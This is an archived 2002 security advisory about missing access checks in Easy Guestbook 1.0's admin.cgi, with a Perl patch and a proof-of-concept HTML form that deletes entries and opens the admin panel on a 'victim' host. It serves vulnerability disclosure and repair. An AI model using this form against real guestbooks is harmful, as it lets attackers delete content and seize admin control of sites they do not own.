[UNIX] Easy Guestbook Vulnerabilities

From: support@securiteam.com
Date: 07/29/02


From: support@securiteam.com
To: list@securiteam.com
Date: Mon, 29 Jul 2002 07:45:18 +0200 (CEST)

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  Easy Guestbook Vulnerabilities
------------------------------------------------------------------------

SUMMARY

The <http://www.easyscripts.co.uk/guestbook_index.htm> Easy Guestbook is
a perl/cgi program which allows users on your website to sign your very
own guestbook. A security vulnerability in the product allows anyone to
delete the entries and login as an administrator and allows anyone to
reconfigure the Guestbook and change administrator password.

DETAILS

Vulnerable systems:
 * Easy Guestbook version 1.0

Solution:
1) Add Access Validation on "delete_message" function and "start"
function.
   Add admin.cgi with this code:
   sub login_verify
   {
        chomp($FORM{'login_username'});
        chomp($FORM{'login_password'});
        if (!($FORM{'login_username'} eq $username &&
$FORM{'login_password'} eq $password))
        {
          dienice("Sorry, but you have entered an invalid username or
password. Please press the 'back' button on your browser to return to the
Login Screen.");
        }
   }
 
And on the first line of "delete_message" function and "start" function
add this:
   &login_verify;

And on the "start" function add this code in the
<FORM>:
   <input type="hidden" name="login_username"
value="$FORM{'login_username'}">
   <input type="hidden" name="login_password"
value="$FORM{'login_password'}">
  

2) Delete config.cgi after you finish configure the Guestbook.

Exploit:
<!--
Easy Guestbook Vulnerabilities

Date : July 19, 2002
Severity : Medium (Possible to delete the entries)
Systems Affected:
        Easy Guestbook v1.0

Vendor URL: http://www.easyscripts.co.uk
Vuln Type : It does not use Access Validation to delete the entries and
login as Admin Control.
Author : AresU
Greetz to : Bosen, Tioeuy, eF73, SakitJiwa, nimdA, FreshFirst, Algorithm,
Mr.Padang
Adv.URL : http://bosen.net/advisories/aresu-adv.002.txt
This source code is for educational purpose ONLY
-->

<html>
<body>
<h1>Easy Guestbook v1.0 Vulnerabilities</h1>
<form method="POST" action="http://victim/guestbook/admin.cgi">
Delete No. of Entries in Guestbook: <input type="text" value=""
name="function" size="5"> <input type="submit" value="Delete Message"
name="delete_message" style="font-size: 10pt; font-family: verdana;
font-weight: bold"><br><hr>
Open Administration Guestbook: <input type="submit" value="Back to Admin"
name="back_to_admin" style="color: #800080; font-weight: bold">
</form>
</body>
</html>

ADDITIONAL INFORMATION

The information has been provided by <mailto:ar3su@yahoo.com> Arek
Suroboyo.

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Relevant Pages

  • Re: front page gustbook
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    (microsoft.public.frontpage.client)
  • Re: Guestbook in Frontpage
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    (microsoft.public.inetserver.iis.security)
  • Guestbook in Frontpage
    ... I believe the permissions in my guestbook page my be too restrictive. ... running 2003 SP1 and have applied the security configuration Wizzard. ... please see the server's application event log for more details. ... the IIS logs: ...
    (microsoft.public.inetserver.iis.security)
  • Website / Guestbook /Mailform security IP address
    ... Website / Guestbook /Mailform security IP address. ... Fills in Mailform. ...
    (alt.computer.security)
  • SecurityFocus Microsoft Newsletter #165
    ... Tenable Security ... distribute, manage, and communicate vulnerability and intrusion detection ... Microsoft Internet Explorer MHTML Forced File Execution Vuln... ...
    (Focus-Microsoft)